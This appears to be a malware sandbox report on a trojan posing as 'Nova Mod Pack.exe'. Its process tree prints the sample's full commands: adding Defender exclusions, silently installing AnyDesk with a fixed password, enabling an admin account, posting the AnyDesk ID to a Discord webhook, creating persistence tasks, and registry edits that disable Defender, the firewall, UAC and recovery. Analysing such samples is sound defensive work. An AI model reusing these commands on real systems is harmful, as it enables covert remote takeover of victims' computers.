Overview

overview

10

Static

static

3

Nova Mod Pack.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    1050s
  • max time network
    1059s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240704-en
  • resource tags

    arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05-07-2024 07:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Nova Mod Pack.exe

  • Size

    121KB

  • MD5

    5c76d15a7d3f57f26edc494bd9db318b

  • SHA1

    cfa089d8d7e9fde67b6cb85827d33431b2d80066

  • SHA256

    af872e954905dbfeb165da42d722889a7dfc4b84e88b52c9abc9de18a1a9d74f

  • SHA512

    3d7a621dcb56a8d8ded08e49c34c77071bcb8e8f408acd2ec9c00ff887342d1e3be935f3ad56b33ef7a96d0d85e1e36b6cccc9498a2b0fe96dab7b5d5747c1fb

  • SSDEEP

    3072:0ojAQkj90n5EIrHshi+LFUWHnGWdw8OkG2Li0HbovOm:YjWnSeGisFXnJw8Ziib

Score
10/10
defense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationtrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://download.anydesk.com/AnyDesk.exe

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
    evasiontrojan
  • UAC bypass 3 TTPs 2 IoCs
    evasiontrojan
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Using powershell.exe command.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Drops startup file 2 IoCs
  • Executes dropped EXE 12 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 23 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
    defense_evasionprivilege_escalation
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 58 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 6 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 59 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\Nova Mod Pack.exe
    "C:\Users\Admin\AppData\Local\Temp\Nova Mod Pack.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nova Mod Pack.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Nova Mod Pack.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\System32.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1488
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System32.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2864
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System32" /tr "C:\Users\Admin\System32.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:840
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\System32.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:472
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://download.anydesk.com/AnyDesk.exe', 'C:\AnyDesk.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4180
      • C:\Windows\system32\timeout.exe
        timeout /t 5 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:3988
      • C:\AnyDesk.exe
        "C:\AnyDesk.exe" --install "C:\Program Files (x86)\AnyDesk" --silent --update-auto
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4884
        • C:\AnyDesk.exe
          "C:\AnyDesk.exe" --local-service
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1316
        • C:\AnyDesk.exe
          "C:\AnyDesk.exe" --local-control
          4⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:4736
      • C:\Windows\system32\timeout.exe
        timeout /t 7 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:796
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo Thatmagicguy4! "
        3⤵
          PID:2848
        • C:\Program Files (x86)\AnyDesk\AnyDesk.exe
          "C:\Program Files (x86)\AnyDesk/AnyDesk.exe" --set-password
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:4160
        • C:\Windows\system32\timeout.exe
          timeout /t 3 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1944
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AnyDesk" /t REG_SZ /d "\"C:\Program Files (x86)\AnyDesk\AnyDesk.exe\" --silent" /f
          3⤵
          • Adds Run key to start application
          PID:3692
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1048
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers' -Name 'C:\Program Files (x86)\AnyDesk\AnyDesk.exe' -Value 'RUNASADMIN'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Access Token Manipulation: Create Process with Token
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4672
        • C:\Windows\system32\net.exe
          net localgroup Administrators Admin /delete
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2980
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup Administrators Admin /delete
            4⤵
              PID:4900
          • C:\Windows\system32\net.exe
            net localgroup Administrators /delete
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5104
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators /delete
              4⤵
                PID:1968
            • C:\Windows\system32\net.exe
              net localgroup Administrators Administrator /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3936
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators Administrator /add
                4⤵
                  PID:2712
              • C:\Windows\system32\net.exe
                net user Administrator Thatmagicguy4!
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2488
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user Administrator Thatmagicguy4!
                  4⤵
                    PID:4728
                • C:\Windows\system32\net.exe
                  net user Administrator /active:yes
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1592
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 user Administrator /active:yes
                    4⤵
                      PID:4692
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /tn "Booter" /tr "\"C:\Program Files (x86)\AnyDesk\AnyDesk.exe\"" /sc onstart /ru system /rl highest
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1408
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c cmd /c ""C:\Program Files (x86)\AnyDesk\AnyDesk.exe"" --get-id
                    3⤵
                      PID:2024
                      • C:\Windows\system32\cmd.exe
                        cmd /c ""C:\Program Files (x86)\AnyDesk\AnyDesk.exe"" --get-id
                        4⤵
                          PID:4012
                          • C:\Program Files (x86)\AnyDesk\AnyDesk.exe
                            "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --get-id
                            5⤵
                            • Executes dropped EXE
                            PID:4024
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -Command "$body = @{ content = 'AnyDesk ID is: \"1605446022\"' }; Invoke-WebRequest -Uri 'https://discord.com/api/webhooks/1258646786961051658/be2T-g2AK9ePJURfOglMzGNNFAjSRm9H8uQftKBPZM4w5FSiPMRxQdj7ztfAnq5CfG5E' -Method Post -ContentType 'application/json' -Body ($body | ConvertTo-Json)"
                        3⤵
                        • Blocklisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1136
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /tn "bootsystem" /tr "C:\ProgramData\System.exe" /sc onstart /ru "SYSTEM" /rl HIGHEST /f
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3156
                      • C:\Windows\system32\schtasks.exe
                        schtasks /run /tn "bootsystem"
                        3⤵
                          PID:3340
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          3⤵
                            PID:1864
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2224
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2368
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:1376
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False"
                            3⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5044
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Account Protection" /v UILockdown /t REG_DWORD /d 1 /f
                            3⤵
                              PID:4164
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v DisallowExploitProtectionOverride /t REG_DWORD /d 1 /f
                              3⤵
                                PID:4884
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v UILockdown /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:492
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device performance and health" /v UILockdown /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:4808
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v DisableClearTpmButton /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:3348
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v DisableTpmFirmwareUpdateWarning /t REG_DWORD /d 1 /f
                                      3⤵
                                        PID:2096
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v HideSecureBoot /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:444
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v HideTPMTroubleshooting /t REG_DWORD /d 1 /f
                                          3⤵
                                            PID:796
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v UILockdown /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:3744
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Family options" /v UILockdown /t REG_DWORD /d 1 /f
                                              3⤵
                                                PID:1976
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Firewall and network protection" /v UILockdown /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:3856
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
                                                  3⤵
                                                    PID:2972
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:1096
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v HideSystray /t REG_DWORD /d 1 /f
                                                      3⤵
                                                        PID:1944
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Virus and threat protection" /v HideRansomwareRecovery /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:588
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Virus and threat protection" /v UILockdown /t REG_DWORD /d 1 /f
                                                          3⤵
                                                            PID:4412
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "HideExclusionsFromLocalAdmins" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:2360
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d 0 /f
                                                              3⤵
                                                                PID:2924
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                • Modifies Windows Defender Real-time Protection settings
                                                                PID:4984
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                • Modifies Windows Defender Real-time Protection settings
                                                                PID:4756
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                • Modifies Windows Defender Real-time Protection settings
                                                                PID:4856
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:1484
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:2564
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
                                                                    3⤵
                                                                    • UAC bypass
                                                                    PID:4672
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                    • UAC bypass
                                                                    PID:2364
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Feature" /v "FirewallDisableNotify" /t REG_DWORD /d "1" /f
                                                                    3⤵
                                                                      PID:5104
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Feature" /v "FirewallOverride" /t REG_DWORD /d "0" /f
                                                                      3⤵
                                                                        PID:2536
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKLM\System\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 0 /f
                                                                        3⤵
                                                                          PID:1172
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKLM\System\CurrentControlSet\Control\DeviceGuard\Scenarios" /v "HypervisorEnforcedCodeIntegrity" /t REG_DWORD /d 0 /f
                                                                          3⤵
                                                                            PID:3192
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
                                                                            3⤵
                                                                              PID:2712
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows\RecoveryEnvironment" /v "DisableResetOption" /t REG_DWORD /d "1" /f
                                                                              3⤵
                                                                                PID:3964
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKLM\Software\Policies\Microsoft\Windows\RecoveryEnvironment" /v "DisableRefreshOption" /t REG_DWORD /d "1" /f
                                                                                3⤵
                                                                                  PID:3532
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
                                                                                  3⤵
                                                                                    PID:1448
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows\RecoveryEnvironment" /v "DisableSystemImageRecovery" /t REG_DWORD /d "1" /f
                                                                                    3⤵
                                                                                      PID:3420
                                                                                    • C:\Windows\system32\ReAgentc.exe
                                                                                      reagentc /disable
                                                                                      3⤵
                                                                                      • Drops file in System32 directory
                                                                                      • Drops file in Windows directory
                                                                                      PID:4692
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
                                                                                      3⤵
                                                                                      • Disables RegEdit via registry modification
                                                                                      PID:1408
                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                    "C:\Windows\System32\schtasks.exe" /delete /f /tn "System32"
                                                                                    2⤵
                                                                                      PID:6032
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4A63.tmp.bat""
                                                                                      2⤵
                                                                                        PID:6064
                                                                                        • C:\Windows\system32\timeout.exe
                                                                                          timeout 3
                                                                                          3⤵
                                                                                          • Delays execution with timeout.exe
                                                                                          PID:2024
                                                                                    • C:\Users\Admin\System32.exe
                                                                                      C:\Users\Admin\System32.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:1368
                                                                                    • C:\Program Files (x86)\AnyDesk\AnyDesk.exe
                                                                                      "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --service
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:3796
                                                                                      • C:\Program Files (x86)\AnyDesk\AnyDesk.exe
                                                                                        "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --backend
                                                                                        2⤵
                                                                                        • Executes dropped EXE
                                                                                        • Drops file in System32 directory
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:1684
                                                                                    • C:\Program Files (x86)\AnyDesk\AnyDesk.exe
                                                                                      "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --control
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      • Suspicious use of SendNotifyMessage
                                                                                      PID:3320
                                                                                    • C:\Users\Admin\System32.exe
                                                                                      C:\Users\Admin\System32.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:3192
                                                                                    • C:\ProgramData\System.exe
                                                                                      C:\ProgramData\System.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • Drops file in System32 directory
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:3492
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\System.exe'
                                                                                        2⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Drops file in System32 directory
                                                                                        • Modifies data under HKEY_USERS
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:3780
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System.exe'
                                                                                        2⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Drops file in System32 directory
                                                                                        • Modifies data under HKEY_USERS
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:3324
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\system32\config\systemprofile\System32.exe'
                                                                                        2⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Drops file in System32 directory
                                                                                        • Modifies data under HKEY_USERS
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:3960
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System32.exe'
                                                                                        2⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Drops file in System32 directory
                                                                                        • Modifies data under HKEY_USERS
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1988
                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System32" /tr "C:\Windows\system32\config\systemprofile\System32.exe"
                                                                                        2⤵
                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                        PID:4836
                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                        "C:\Windows\System32\schtasks.exe" /delete /f /tn "System32"
                                                                                        2⤵
                                                                                          PID:4748
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Windows\TEMP\tmp4AE0.tmp.bat""
                                                                                          2⤵
                                                                                            PID:4312
                                                                                            • C:\Windows\system32\timeout.exe
                                                                                              timeout 3
                                                                                              3⤵
                                                                                              • Delays execution with timeout.exe
                                                                                              PID:5344
                                                                                        • C:\Windows\system32\AUDIODG.EXE
                                                                                          C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004C0
                                                                                          1⤵
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:2812
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                          1⤵
                                                                                          • Enumerates system info in registry
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                          • Suspicious use of SendNotifyMessage
                                                                                          PID:3532
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc23e9ab58,0x7ffc23e9ab68,0x7ffc23e9ab78
                                                                                            2⤵
                                                                                              PID:1448
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1524 --field-trial-handle=1920,i,16016743700219957930,379379122429216649,131072 /prefetch:2
                                                                                              2⤵
                                                                                                PID:2676
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1784 --field-trial-handle=1920,i,16016743700219957930,379379122429216649,131072 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:4896
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
